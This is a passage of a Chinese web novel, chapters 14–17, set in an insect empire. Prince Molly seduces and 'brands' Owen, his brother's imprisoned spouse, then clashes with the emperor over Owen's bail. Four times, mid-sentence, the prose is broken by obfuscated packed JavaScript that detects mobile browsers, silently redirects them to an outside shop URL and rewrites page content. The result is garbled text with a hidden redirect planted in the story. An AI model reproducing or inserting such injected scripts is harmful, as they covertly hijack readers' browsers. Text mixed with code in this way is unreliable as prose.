欧文呼吸一滞,视线再次凝滞在莫利身上。 或许是太热了,莫利又慢条斯理地解开了第二颗扣子,漂亮的锁骨在衣领下若隐若现,一低头,光滑的金色长发便扫过锁骨窝垂落下来。 亲王随意地拢了拢碍事的长发,露出纤长光洁的脖颈。这样完美无瑕的雄虫,身上的每一处都精致得抓虫眼球,连发丝都耀眼得仿佛被阳光亲吻过。 欧文下意识地屏住了呼吸。他突然鬼使神差地想起刚看完的同虫文小说里的一个细节,说亲王锁骨下方有一颗痣,被亲吻时便会绽放出鲜血般浓郁的颜色。 那颗痣便掩盖在这衣领下吗,只要再往下一点便可以窥见。欧文的视线像是被吸附住了一般黏在莫利身上,不知不觉就盯着对方看了很久。 莫利察觉到了欧文的目光,却装作什么都不知道,不动声色地看完了修正案的最后一页,然后将文件转发给了虫皇。 [莫利:这份修正案我已经看过了,没什么问题,直接批准吧。] [虫皇:好的哦,小茉莉说没问题那就一定没问题了。] [莫利:不要这么称呼我,虫皇陛下。] [虫皇:嘤嘤嘤你好冷漠。] [虫皇:为什么叫我虫皇,以前你都是叫我父亲的。] [虫皇:你小的时候还会追着我喊爸爸呢,现在和我这么生疏了吗?] 莫利没有理会虫皇的信息轰炸,关闭智脑突然抬头,恰好和欧文四目相对。这只雌虫盯着他看好久了,现在被他抓包了。 莫利眼神带着探究:“嫂子在看什么?” 欧文艰难地收回视线,随手拿起桌子上一本书,装作在看书的样子,“在看书,殿下。” 莫利笑了笑:“你的书拿倒了。” 欧文下意识地将书颠倒了过来,结果却在下一秒发现刚刚书并没有拿倒,莫利是骗他的。 欧文一贯冷锐的眉眼一闪而过一丝尴尬。 莫利施施然走到欧文身边坐下,“嫂子刚刚是在偷看我?好看吗?” 说完朝着欧文倾身凑近,手指又挑开了一颗衬衣的扣子,露出自己锁骨下面的一颗隐蔽的小痣,低声暧昧道:“刚刚你一直盯着我的领口看,是在找这个吗?” 被看穿心思,欧文惭愧地想低下头,但莫利凑的太近了,稍微低头便可以看到敞开的领口下光洁如玉的肌肤。尤其是那颗魅惑的痣,圆圆小小的,长在右半边锁骨的正下方,给那片无瑕的皮肤增添了几分糜艳的色彩。 欧文不知不觉便像着魔一般被莫利领口下的风景勾走了所有视线。 莫利嘴角勾起浅笑,温柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338467|199280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的绿眸像是深邃的漩涡,诱惑着眼前的雌虫沦陷:“还有别的想看的吗?只要你说出来,我都可以给你看。” 欧文错开眼神,喉结滚动,声音沙哑,“没有了,殿下。” 莫利撩开欧文耳边的碎发,捏了捏对方红到充血的耳垂。真是不坦诚。 就像首都星盛产的某个品种的辣椒,看上去特别刚烈,摘取时都要烫到手,但被爆炒后就乖了。 “我给你的书看完了?”莫利的手顺着欧文的后背一路下滑,亲昵地揽住欧文的腰。 腰间传来的温热触感让欧文瞬间绷紧了身体,连声音也变得紧绷,“已经看完了,殿下。” 莫利:“接下来的剧情怎么写,嫂子帮我想一下。” 欧文心思全在莫利放在他腰间的手上,艰难地分出心神回想着书中匪夷所思的剧情,不知如何评价,一时之间沉默了。 莫利见欧文不说话,又追问:“嫂子答应我的要帮我的小说提建议,想反悔?” “没有反悔,殿下稍等,让我思考一下。”欧文稳了稳心神,开始仔细地回忆书中的剧情,但莫利不安分的手却在他腰间作乱,扰乱他的思绪。 莫利的手顺着衣服的下摆探了进去,按压着欧文纹理分明的腹肌:“快点想。” 欧文按住莫利作乱的手,将自己苦思冥想想到的答案说了出来:“殿下接下来可以写主人公之间互相送花。” 莫利疑惑:“为什么要送花?” 欧文垂下眼睫,认真地解释:“因为他们在谈恋爱,可以送花表明心意。” “哈?”莫利愣了一下,然后憋不住笑出了声,“好土的剧情,你是老古董吗?” 欧文抿了抿唇,无言以对,惭愧地低下了头。 莫利搓了搓下巴,调侃道:“你们雌虫现在表白流行送花?” 欧文:“也不是。” 只是他觉得送花这个剧情比较特别一些,没想到亲王不喜欢。 “那流行送什么?”莫利好奇道。 欧文回忆了一下自己那些结了婚的同僚和自己讲过的婚后生活,有些不太确定地说:“应该是送银行卡。” 雌虫结婚后一般是要把自己的积蓄都交给自己的雄虫的,所以应该是送银行卡没错了。 莫利若有所思地点了点头:“哦这样啊,那等出狱之后,你把你的银行卡从我哥那里要过来给我。” 欧文下意识地也跟着点了点头:“好。” 话脱口而出后欧文便呆住了,他缓慢地转动眼珠瞥到莫利脸上得逞的笑容,突然意识到不对劲。 这不是在背着罗丝公爵狼狈为奸? 欧文眉头一皱刚想辩解,莫利却突然扣住他的肩膀将他按在沙发靠背上。倾身向前,微微垂下头,绚烂的金发便垂落在欧文的脸颊和耳畔。 莫利的目光落在他的唇上,一点点凑近:“其实接下来的剧情,我想写吻戏,但我不知道怎么写比较好,嫂子你教教我好不好?” 15. 第 15 章 看着莫利突然凑近的脸,欧文有些晃神,心里突然涌上一股怪异的情绪:“殿下,你昨天不是亲过了吗?” 莫利微微倾身,脸颊亲昵地蹭着他,耳鬓厮磨地在他耳边轻声说道:“可是我忘记是什么感觉了,嫂子帮我回忆一下。” 莫利埋首在欧文的颈肩,亲吻他的脖子,又去含吻他滚动的喉结,留下一串暧.昧的痕迹。 湿漉漉的吻让欧文大脑彻底宕机,他从未和雄虫如此亲密过,以至于完全忘记了反应。 欧文长相和性格如出一辙的冷冽,军队里的虫们对他又畏又怕,别说亲近他,甚至很少有虫敢开他玩笑,接触过的雄虫见了他也都绕道走。 只有莫利,这位全帝国都仰慕的雄虫,非但不怕他,还总是黏黏糊糊地缠上来。连嫂子这个称呼都被他叫顺耳了。 欧文伸出手想将身上的雄虫推开,眼底闪过一丝挣扎,最终收回了手,任由雄虫对他为所欲为。 莫利捧起欧文的脸,和他亲密地额头相抵,嘴唇轻轻触碰欧文的唇。 呼吸自然而然地交融在一起,莫利心神荡漾地撬开了欧文紧抿的唇,舌尖相触的瞬间,酥麻的触感漫延开来。 莫利辗转着加深这个吻,唇齿交融,温暖湿润的包裹感令他沉迷,鼻息逐渐加重。 他心念微动,磅礴的精神力便涌入到欧文的精神领域。 突然袭来的精神力带来潮水般澎湃的冲击感,欧文下意识地想挣脱,莫利却扣住他的后脑:“不要动,我再给你做一次精神力疏导。” 莫利操纵着自己的精神力再次闯进了欧文的精神领域。距离上次精神力疏导刚过去不久,欧文的精神领域还是一片欣欣向荣的模样,只有几座城墙脱落了一丢丢墙皮。 上次进来时还是破败萧条的模样,如今却焕发新生了。一想到这全是自己的功劳,莫利便心生得意。 他的精神力轻柔地在城墙上拂过,脱落的墙皮便重新粉饰一新。 将欧文的精神领域修复好后,莫利却没有离开,而是操纵着精神力悠然自得地在欧文的精神领域里穿梭,有意无意地和欧文的精神力勾缠,甚至朝着更深的地方探寻而去。 渐渐的他便感受到欧文隐忍的颤栗。 莫利突然起了恶劣的心思,他将自己的精神力调回了精神领域的入口处,徘徊打量着精神领域入口的城门。 就在欧文刚松了一口气以为莫利要离开时,莫利却将千丝万缕的精神力丝凝成一把锋利的刻刀,在入口处的城门上刻起了字。 欧文震惊地睁大了眼睛,亲王竟然要在他的精神领域内刻下烙印。 他能够清晰地感受到一笔一画雕刻在自己精神领域的触感,每一笔都像电流在灵魂深处流过。酥麻的快.感快要将他淹没,渐渐的有汗珠从他的额头渗出。 他听说过一些占有欲极强的雄虫会在雌侍或者雌奴的精神领域刻下烙印来宣誓主权,但没想到这种事会发生在自己身上。 烙印一旦形成便很难消除,如果雌虫和雄虫匹配度很高的话,烙印甚至会停留一辈子。 莫利饶有兴致地在欧文的精神领域里刻上了自己的名字,又意犹未尽地在自己的名字后面画了一颗辣椒。 莫利画技不太好,辣椒被他画得圆润了些,完全看不出辣椒的样子,于是他十分不满意地修修改改,又加了一些脉络上去。 每当他画下一笔,欧文便会压抑着颤栗一下,脸上甚至渐渐泛起了可疑的潮.红。 终于欧文握住了莫利的手腕,磁性的声音变得沙哑:“殿下。” 欲言又止。 沉郁的黑眸迷茫地注视着眼前美丽的雄虫。 莫利看着雌虫情动而不自知的模样,心里生出隐秘的快意。 他反手扣住欧文的手背和他十指相扣,细细亲吻着对方的唇角:“不要动,很快就好了。” 莫利仔细地刻画完了最后一笔,才意犹未尽地收回了自己的精神力。 “我刚刚在你精神领域刻字的时候,你本可以驱逐我的,但是你没有,”莫利在欧文耳边轻声低语,“你这算什么?” 欧文薄唇轻启想要辩驳,却发现自己并没有解释的理由,确实是他纵容了亲王在自己精神领域里为所欲为。于是无言以对地侧过头,眼神闪烁。 “以后如果有别的雄虫进入到你的精神领域,看到你精神领域里刻的字,他就会想,原来你已经被别的雄虫占有过了,”莫利的语气依旧温柔动听,但眼底却闪烁着兴奋的微光,“到时候所有虫都会知道你被自己的小叔弄脏了。” 虽然欧文并不是真正的伊莱尔,但依然被莫利的话说出了羞耻感:“殿下,请不要说这种话。” 莫利却好奇又苦恼地继续说道:“你说如果我哥看到你精神领域里刻的字会怎么想?你是我哥的雌君,却被我盖上了章。” 像冰刃一样冷冽的雌虫流露出挣扎和困惑,像是刀锋上沾上了脆弱的露珠。 莫利爱极了对方这副矛盾的模样,每一眼都让他控制不住地心动。 于是他拥抱住了欧文,身体紧密相贴的一瞬间,他听到从对方胸膛传来的急促的心跳声。 这个雌虫果然是喜欢他的。莫利笃定地想着。 嫂子不守夫德,弄没了虫蛋还勾引自己雄主的弟弟,罗丝肯定不会要他了,那自己只好勉为其难地接盘了。 作为弟弟,他有义务帮他哥照顾落魄的嫂子。 莫利开始盘算着尽快把嫂子悄悄保释出去。本来想徐徐图之的,但是他快要憋不住了,只想赶紧把雌虫接走就地正法。 . 离开第三监狱后,莫利回到了自己的庄园,在经过一番深思熟虑之后,他暗自联系了帝国法院,打算悄悄把嫂子保释出狱。 因为目击者的改口,伊莱尔的嫌疑大大下降,法庭内部已经将保释金已经从二点五亿星币下调到了二百五十万,只不过为了避免引起舆论,保释金下调的消息暂时没有公开。 莫利给法庭的公用账户上转了二百五十万星币,嘱咐法院院长一定要加快审核速度,尽快把嫂子释放出来。 得到院长的保证后,莫利接着又旁敲侧击地敲打对方,不要把伊莱尔被保释出去的消息泄露出去。 为了以防万一,莫利又专门给第三监狱典狱长打了一通电话,让对方低调地配合法庭释放伊莱尔出狱。 一切都计划的滴水不漏。 只要嫂子落在他手上,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338468|199280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再神不知鬼不觉地把嫂子藏起来,一切便尘埃落定。 一想到他那故作正经的嫂子马上就要落入自己的囊中,莫利便按捺不住兴奋。他叫来了管家,吩咐对方去布置餐厅,准备一桌烛光晚餐。 卧室也要好好装饰一下。莫利让侍者们把卧室的饰品全换成了很有浪漫情调的风格,床上用品也换了新的,还非常贴心地在床上又加了一个枕头。 看着布置一新的床铺,莫利心里已经连今天晚上要用什么姿势都想好了。 虽然他没什么经验,但嫂子跟了罗丝这么久,应该很有经验,不懂的地方就让嫂子教自己好了。 莫利板着脸努力掩饰着心里的激动,在房间里坐立不安地来回转了好几圈。 管家和侍者们看到亲王殿下这反常的举动,都在心里暗暗猜测亲王难道是终于要带雌虫回家了? “亲王殿下真的有心仪的雌虫了?”管家悄咪咪问莫利的心腹麻乙。 麻乙想起亲王勾搭自己嫂子的事情,心情有些复杂:“应该是的。” 管家惊讶地睁大了眼睛,花了几秒钟消化这个消息,“亲王殿下终于要带雌虫回家了?我们要不要去给加兰元帅烧个纸告诉他这个消息。” 加兰是帝国曾经的元帅,也是莫利的亲生雌父。 加兰在和虫皇相恋后嫁给虫皇成为了帝国的皇后,但生下莫利后没多久就去世了。 管家也算是加兰和虫皇的爱情的见证者之一。虫皇还是皇太子的时候,假扮雌虫混进了军队,邂逅了那位惊才绝艳的加兰元帅。 加兰温柔强大,虫皇对他一见钟情并展开了热烈的追求。但加兰和任何的雌虫都不一样,他清醒地提出了自己的要求:他不能接受和其他雌虫共享一只雄虫,如果虫皇要娶他,那么就一辈子不能再娶其他虫。 身为一个雌虫,竟然要求雄虫为他守身如玉,多么离谱的要求。 但陷入热恋的虫皇却毫不犹豫地答应了加兰,于是他们两个顺理成章地成为了情侣,继承皇位后虫皇便娶了加兰做皇后,大婚的盛况轰动了整个帝国。 但婚后没多久,虫皇便违背了自己的诺言。作为帝国最尊贵的雄虫,他开始渐渐的不能接受只拥有一个雌虫,于是他收下了许多雌虫做雌侍,还带回了私生子罗丝丢给加兰抚养。 于是曾经的恋人渐行渐远,终于在生下莫利后没多久,加兰去世了,虫皇一夜白头,遣散了后宫所有雌侍,就那样孤身一虫过了好多年。直到莫利成年后,虫皇才再次有了新的雌侍。 不知道是不是受到早逝的雌父的影响,莫利亲王即使成年后也一直没娶雌君和雌侍,甚至连雌奴都没找。 别的雄虫都娶了一箩筐的雌虫生了好几窝虫蛋了,就只有亲王殿下还在打光棍。亲王府邸的仆从们甚至悄悄设了赌.局,打赌亲王能单身到什么时候。 管家这就打算去找个盆烧点纸,将莫利脱单的重大新闻告诉天上的加兰元帅。 麻乙轻咳一声,拦住了管家,“别去。” 管家疑惑不解:“为什么不能去?” 麻乙心虚地别开眼:“你别管,总之别去。” 他怕加兰元帅知道莫利亲王撬了哥哥墙角,会气得活过来。 16. 第 16 章 做好了接盘的准备工作之后,莫利登录上自己的星网账号,开始浏览起了恋爱相关的话题,结果不小心手滑点赞了一个网红总结的新婚夫夫相处心得。 这个点赞可不得了。万年单身的亲王殿下竟然点赞了一条婚姻心得,很多虫都敏锐地嗅到了不同寻常的气息。 莫利从一出生就活在万众瞩目之中,整个帝国都在默默关注着他何时会结束单身,环绕在他身边的优秀雌虫数不胜数,但这么多年来他却始终零绯闻。如今虽然只是点赞一个婚姻心得,也无异于一个超级重磅新闻,一下子便引爆了舆论。 不到半分钟时间,莫利主页的评论区直接炸开了锅,几分钟后,整个星网都被引爆了,各大新闻媒体的头版头条都刊登了亲王疑似脱单这个爆炸性新闻。 [啊啊啊,亲王殿下竟然点赞了我总结的婚姻心得,感谢殿下的认可,我会继续努力的。] [什么情况,亲王殿下遇到喜欢的雌虫了?] [莫利殿下会点赞婚姻方面的帖子,估计是终于要有雌侍了,我可以排队做殿下的下一个雌侍吗?] [排队+1] [排队+2] [其实我一直有个猜测,亲王一直不官宣婚讯,该不会是陷入禁忌恋中了吧?] [楼上你是不是看白色胶囊的同虫文看多了,亲王那么正直的虫,怎么可能搞禁忌恋,不要瞎猜好吗?] [到底是哪个走运的雌虫夺走了殿下的心,我好嫉妒。] [先别盖棺定论亲王的伴侣是雌虫,万一是亚雌,或者雄虫也说不定,我有一个雄虫朋友,他愿意自荐成为亲王后宫团一员。] [楼上你比白色胶囊还离谱,你这个朋友是你本人吧。] [我认为至少得是上将级别的雌虫才配得上亲王。] [开什么玩笑,七位上将里只有欧文上将没结婚了,殿下选谁也不可能选欧文上将呀。] [为什么不可能是欧文上将?] [让第四军队的军雌们告诉你为什么@第四军队] [悄悄说一句,我是第四军队的,我们的欧文长官真的很恐怖,我都从来没见他笑过。] 莫利很少看评论区,但今天却意外地有了耐心,一边浏览着评论,一边随机挑选回复。 他看到一条评论询问他是否有了喜欢的雌虫。 喜欢的雌虫? 莫利不以为然地挑了挑眉。他也没有特别喜欢那个雌虫,只是罗丝不要了他才勉为其难接盘,应该是那个雌虫喜欢他才对。 莫利继续往下翻看,突然看到了评论区关于他的恋人是不是欧文上将的讨论。 欧文?面都没见过。显然这些虫们在脑补一些不着边际的事情。莫利无奈地摇了摇头。 . 法院那边很快传来了好消息,罪虫伊莱尔的保释申请核准通过了,接下来就等第三监狱放虫了。 为免夜长梦多,莫利独自驾驶着私虫飞船,朝着第三监狱驶去。 飞船设置了自动巡航,抵达第三监狱后便会自动降落。莫利坐在窗前,窗外的风景从眼前飞驰而过,他的表情始终游刃有余,但却在一分钟内连续换了好几个坐姿,身前的悬浮桌根据他的坐姿不断微调着高度。 用不了多久,飞船便能抵达目的地,而他也将如愿以偿把嫂子接到自己身边。 就在这时,莫利的耳钉通讯器闪烁了一下,他伸手在耳钉上轻触了一下,从通讯器里传来一道焦急的声音。 “殿下,伊莱尔被罗丝公爵接走了。”说话的是莫利安插在第三监狱的心腹,莫利在去第三监狱之前已经安排对方盯梢。 听到心腹传来的消息,莫利错愕了一瞬,很快镇定了下来:“什么时候的事?” 心腹说:“就在刚刚,第三监狱刚接到释放令,罗丝公爵就赶来把伊莱尔接走了。” “我知道了。” 莫利神色莫辨地切断了通讯,微微眯起眼睛快速思索着。 罪虫伊莱尔被保释出狱后竟然被罗丝公爵抢先一步接走了。 保释伊莱尔是他私下里偷偷进行的,罗丝却比他先一步得知消息,只能是法院或者第三监狱把消息偷偷泄露了出去。 自己是帝国最有权势的虫之一,按理说法院和监狱是不敢背着他偷偷把消息泄露给罗丝的,除非…… 有比他权利还要大的虫介入了这件事。 整个帝国权利比他更大的也就只有一个雄虫了。究竟是谁在背后搅黄了他的好事,答案昭然若揭。 莫利手指在悬浮桌上轻扣了两下,将自动巡航的终点从第三监狱修改为了皇宫。 . 十几分钟后,私虫飞船降落在皇宫的停机坪,莫利披着繁复华贵的披风从飞船上走下来,守卫皇宫的侍卫们纷纷屈膝行礼。 莫利在一个侍卫身前停住脚步,问道:“虫皇现在在哪?” 侍卫恭敬地回道:“在书房和谢特先生议事。” 谢特是虫皇亲自任命的宰相,已经为皇室效命了几十年,很是受到虫皇的信任,是虫皇的心腹雄虫之一。 这位深受宠信的宰相几乎隔一段时间就要被叫去皇宫密谋。不知道这次又在和虫皇密谋什么。 莫利脚步不停地直奔书房。通向书房的路上有好几道门禁,每经过一次门禁都要进行一次身份识别,但所有的门禁都乖巧地为他放行,一路畅通无阻。 莫利在书房前停下,金属制成的沉重大门紧闭着,门的正中央雕刻着象征着皇室的星盘图案。 他将手指按在星盘图案上,原本沉寂的图案上荡漾起水波一样的波光,紧闭的大门也随之向两侧缓缓打开。 恢弘的书房映入眼帘,摆满书籍的书柜从地板绵延到高耸的天花板。 虫皇凯撒正在和宰相谢特下棋。 凯撒今天穿了一身宽松的休闲装,雪白的长发随意挽了两圈垂在身后,看上去活像个青涩的学生虫。 长相儒雅斯文的谢特只比虫皇大了几岁,看起来却像比虫皇年长了几个辈分一样。 一位雌侍跪在凯撒的脚边,手中捧着果盘,凯撒一垂眸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338469|199280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雌侍便乖巧地投喂水果过去,低眉顺眼的像只温顺的猫咪。 见到莫利来了,凯撒微微侧过头,笑眯眯地说道:“小茉莉来了,看来今天这棋下不成了。” 他平静地把玩着一枚黑色的棋子,似乎对莫利的突然造访并不意外。 “抱歉打扰父亲和宰相。”莫利嘴上说着抱歉,脸上却丝毫没有抱歉的意思。 莫利缓步走到虫皇身后,微微倾身,淡定地握住虫皇的手,将对方手中还未落下的棋子放回棋盒,体贴道:“宰相公务繁忙,父亲就不要打扰他办公了。” 谢特很识相地从座椅上起身:“幸好莫利殿下您来了,不然又要被虫皇陛下拉着下棋下一整天。” 凯撒伸了个懒腰,懒洋洋地问道:“和我下棋不好吗?” 谢特推了推眉心的眼镜架,无奈地叹了口气:“最近天天被您拉来下棋,您明知道我赢不了您的。” 话音落下,他便恭敬地躬身行礼,随后告辞离开。 谢特走后,莫利非常自然地坐在刚刚谢特的位置,捏起一枚白子放在棋盘上,和凯撒继续刚刚的棋局。 这种棋是已逝的加兰元帅从家乡带来的,矩形的棋盘上纵横的线条构成十九行十九列的方格,棋子是黑白两色,通过围地来获取地盘,最终以所围“地”的大小决定胜负。 加兰生前把玩法教会了凯撒,后来凯撒又教会了身边的虫们,隔三差五就要找虫陪自己下棋。 “第三监狱的事你知道了。”莫利用的肯定句,开门见山地表明了自己的来意。 “我早就知道了,你做什么事情都瞒不过我的眼睛。”凯撒非常大方地承认了,金眸中浮现出隐隐的得意。 莫利恍然大悟地点了点头:“所以为什么要坏了我的好事?” 凯撒叹了口气,语重心长道:“那毕竟是你哥哥的雌君,你怎么能和自己的嫂子厮混呢。” “撒谎,”莫利在棋盘上落下一子,棋子和棋盘相触的瞬间发出清脆的声音,“你不是个在意伦常的虫,况且如果是这个原因,你大可以在我保释伊莱尔之前就干涉我,而你之前一直在隔岸观火。” 凯撒兴味盎然道:“那你觉得是什么原因?” 莫利微微一笑,手指摩挲着下巴似乎在思考:“让我猜一下,按照你的性格,你希望皇室的权柄坚如磐石,你不想帝国再有连环杀虫案的舆论风波,所以你想让伊莱尔背下这个罪名,如果能在狱中畏罪自杀就更好了,但我却将他保释了出来,违背了你的意愿,” “刚刚谢特说最近经常和你一起下棋,你们两个应该不是单纯的下棋吧,谢特是保守派的领袖,我在议会的一些动作得罪了保守派,比如说我最近推动的《军雌保护法修正案》,这正是保守派极力反对的,” “谢特应该没少向你告状,你觉得我在议会的势力太大了,” “你越来越觉得我脱离了你的掌控,所以想要借这件事敲打我。” 凯撒赞赏道:“小茉莉真聪明。”说完又话锋一转,“不过,你只猜对了一半。” 17. 第 17 章 虫皇虽然平时总是言笑晏晏,看似很好脾气,但终究是统治了虫族帝国几十年的帝王。 帝王总有他难以捉摸的城府。 莫利探究道:“你从我这里截胡伊莱尔,还有别的原因?” 凯撒收敛了笑容,金眸微微眯起,“一开始我以为你只是想和那个罪虫玩玩,没想到你竟然动了把他娶回家的心思,你哥罗丝对政事无心也无能,我是打算把皇位传给你的,届时你就是下一任的虫皇,站在你身边的雌虫要能为你稳固帝国统治提供帮助,而不应是一个声名狼藉的罪虫。” 莫利不以为然地轻嗤一声,“这并不矛盾,我只是想娶他做雌侍。” “这当然矛盾,”凯撒从棋盒捏起一枚圆润的黑色棋子,拈在指间揉搓了两下,落子在矩形的棋盘上,眼中闪过一丝暗沉的情绪,“我们皇室的雄虫都是痴情种,你现在只是想娶他做雌侍,谁知道将来会不会想让他做雌君。” “痴情?”莫利回味着这个陌生的词,意味深长地看了一眼雌侍众多的虫皇,“你是说你,还是罗丝?” 凯撒尴尬地轻咳了一声。 一旁服侍的雌侍抬眼看了一眼虫皇陛下,随即也尴尬地低下了头。 虫皇风流多情,违背诺言辜负了加兰元帅的往事在虫族帝国可谓是虫尽皆知,连路边栓的狗都是听着虫皇的八卦长大的。 当初虫皇和原配加兰元帅也是爱得轰轰烈烈,为了能迎娶加兰,彼时还是皇太子的虫皇甚至追去了加兰服役的军队,陪着加兰的军舰浪迹星际,还在星网发表了惊世骇俗的告白宣言,立誓一辈子只爱加兰。 在雌多雄少的虫族帝国,哪怕是普通雄虫都难以做到为一个雌虫守身如玉,更何况是皇室,凯撒发表的告白宣言在当时引起了轩然大波,甚至差点为此丢掉皇太子的宝座。 过程虽然美好,但虫皇终究控制不了多偶的本性,结婚没多久就耐不住寂寞,陆陆续续又迎娶了许多雌虫做雌侍,甚至还抱回了私生子罗丝丢给加兰元帅养,以至于帝后关系破裂。 据说加兰元帅到死都没有原谅花心的虫皇凯撒。 虫皇陛下究竟算不算个痴情虫非常具有争议。若说痴情,他却左拥右抱,还背着加兰和别的雌虫生下了私生子罗丝。若说不够痴情,他却在加兰死的那天一夜白头,至今还经常对着加兰的画像睹物思虫。 可能虫的本性就是如此复杂。 莫利没再继续刚刚的话题,不急不慢地在棋盘上落下一枚白子,“你输了。” 凯撒愣了一下,低头看向棋盘上的棋局,黑子被白子攻城略地,溃不成军。 凯撒像是突然想到了什么,“你和你雌父的棋风很像,他还在世的时候,我和他下棋就总是赢不了他。” 除了棋风像,其他的很多地方也很像。比如外貌上,莫利也是长得更像加兰元帅,虫皇和罗丝的眼睛都是璀璨的金色,而莫利却继承了雌父加兰的温柔绿眸。 如果说有什么不同,那就是加兰是稀有的黑发,而莫利却继承了虫族皇室的金发。除此之外都很肖似。 每次莫利微笑的时候都像加兰活过来了一样。 比如现在,莫利又露出了肖似加兰的温柔表情,唇角勾起温和的弧度,轻声说:“虫皇殿下,你好幼稚。” 凯撒恍神了一瞬间,才反应过来莫利说了什么,难以置信地瞪大了眼睛:“你竟然又叫我虫皇,你竟然用这么生疏的称呼叫我。” 破防的虫皇宛如万箭穿心,小心脏噼里啪啦碎了一地,像个怨父一样不停地追问:“为什么喊我虫皇,你小的时候还会追着我喊爸爸呢,” “还有我哪里幼稚,你的意思是我故意坏你好事这件事很幼稚吗,难道在你心里我还比不上那个罪虫吗,就因为我不让你和他在一起,你就要摆脸色给我。” 莫利将食指放在嘴边,朝叽叽喳喳的虫皇比了个噤声的手势。虫皇下意识地闭上了嘴。 莫利从虫皇的棋盒里拿出一枚黑子,落子在棋盘上,这一子瞬间将局势扭转,刚刚还溃不成军的黑子又重新出现了生机。 “刚刚我说你输了,你就真以为自己输了,你看你是不是很幼稚,”莫利笑着说,“明明还有翻盘的机会,怎么我说什么你就信什么呢。” . 莫利陪虫皇下了一下午棋,之后都没再提伊莱尔的事,仿佛毫不在意一般。 天色渐晚,他拒绝了虫皇共进晚饭的邀请,离开了皇宫。 坐上飞船后,他给自己的辅佐官麻乙发了条讯息:[去找个理由,把琥珀星的金银建筑公司封了。] 琥珀星是莫利的封地之一,原本只是一个荒芜的星球,他接手后便开始投资发展旅游业,又不断招商引资,和一些网红合作做宣传推广。近些年,这颗废弃的星球在他的经营下渐渐繁荣了起来,成了热门的旅游胜地。 琥珀星发展起来之后,原本瞧不上这个星球的虫们都想来分一杯羹,比如虫皇凯撒和宰相谢特。 前些年,谢特在琥珀星投资开设了金银建筑公司,虫皇也作为股东入股了。这家公司通过招标获得了一些项目后,经常拖延工程进度,这次的海底隧道建设项目又被他们拖了接近半年还没完工,工程延期的罚款也没有缴纳。 莫利对于这件事一直睁一只眼闭一只眼。但这两只虫这次竟然敢坏他好事,那他也只能还以颜色。 [莫利:什么时候把工程延期的罚款交齐了什么时候给他们解封。] [麻乙:收到。] 工程延期的罚款接近一亿星币,够这两只虫喝一壶了。 刚和麻乙交代完事情,手腕上的环形光脑又闪烁了两下。是他的狐朋狗友麦麦汀发来了一条信息。 [麦麦汀:我看新闻了,你点赞了一个网红的婚姻心得。] 莫利面无表情地看着麦麦汀发来的信息。手滑点个赞而已,这种小事都要上新闻,这些虫们是闲得没事做了吗。 幸好他足够机智没有头脑发热直接官宣,不然全帝国都要知道他求偶失败了。 [莫利:所以呢?] [麦麦汀:嫂子搞到手了?哈哈哈够速度啊,什么时候官宣?] 还搞到手呢,到手的嫂子飞了。莫利心里咬牙切齿,脸黑得像锅底。 [莫利:官宣什么?早就玩腻了。] [麦麦汀:这么快就腻了?为什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338470|199280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你那嫂子看着身材挺辣的呀,难道是技术不行?] 技术? 莫利想起嫂子接吻时的模样,被自己亲一下就懵了,青涩得像是第一次接吻一样。吻技都这么生硬,床上的技术肯定也好不到哪去。 这种没有情.趣的雌虫睡不到也没什么可惜的。 莫利没有理会麦麦汀的一连串追问,烦躁地登录上星网,想看点娱乐圈八卦让自己放松一下。 点开娱乐新闻专区,整个热搜霸屏的全是关于他点赞情感博主的讨论。 原本他想看别的虫的八卦,结果大家都在看他的八卦。 全星网都在讨论他是否恋爱了,是否要结婚了,甚至还有猜测他的雌虫揣着虫蛋上位的。 揣虫蛋上位? 他倒是本想上位给嫂子肚子里的虫蛋当爹,可惜那虫蛋被嫂子自己玩没了,他不止没能喜当爹,也没上位成功。 